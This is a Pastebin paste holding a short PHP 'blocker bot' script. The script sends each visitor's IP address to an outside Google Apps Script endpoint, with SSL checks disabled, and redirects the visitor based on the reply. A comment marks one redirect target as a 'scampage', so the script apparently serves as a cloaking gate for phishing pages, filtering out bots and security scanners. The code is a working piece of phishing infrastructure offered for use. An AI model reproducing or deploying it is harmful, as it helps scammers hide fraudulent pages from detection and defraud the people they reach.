bug7sec

BLOCKER BOT !!!

Oct 14th, 2018
1,017
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.32 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. function get_client_ip() {
  4.     $ipaddress = '';
  5.     if (getenv('HTTP_CLIENT_IP'))
  6.         $ipaddress = getenv('HTTP_CLIENT_IP');
  7.     else if(getenv('HTTP_X_FORWARDED_FOR'))
  8.         $ipaddress = getenv('HTTP_X_FORWARDED_FOR');
  9.     else if(getenv('HTTP_X_FORWARDED'))
  10.         $ipaddress = getenv('HTTP_X_FORWARDED');
  11.     else if(getenv('HTTP_FORWARDED_FOR'))
  12.         $ipaddress = getenv('HTTP_FORWARDED_FOR');
  13.     else if(getenv('HTTP_FORWARDED'))
  14.        $ipaddress = getenv('HTTP_FORWARDED');
  15.     else if(getenv('REMOTE_ADDR'))
  16.         $ipaddress = getenv('REMOTE_ADDR');
  17.     else
  18.         $ipaddress = 'UNKNOWN';
  19.     return $ipaddress;
  20. }
  21. $ch = curl_init();
  22. curl_setopt($ch, CURLOPT_VERBOSE, false);
  23. curl_setopt($ch, CURLOPT_CONNECTTIMEOUT , 0);
  24. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  25. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  26. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  27. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
  28. curl_setopt($ch, CURLOPT_URL, 'https://script.google.com/macros/s/AKfycbzh6nUJsO4-P4PB_-EApMJq-o5byos22yq-AMuDhDkNvQH6w5w/exec?ip='.get_client_ip());
  29. $result = curl_exec($ch);
  30. $result = json_decode($result,true);
  31. if($result['status']){
  32.     header("location: https://google.com");
  33. }else{
  34.     header("location: https://google.com"); // link scampage
  35. }
  36. ?>
Advertisement
Add Comment
Please, Sign In to add comment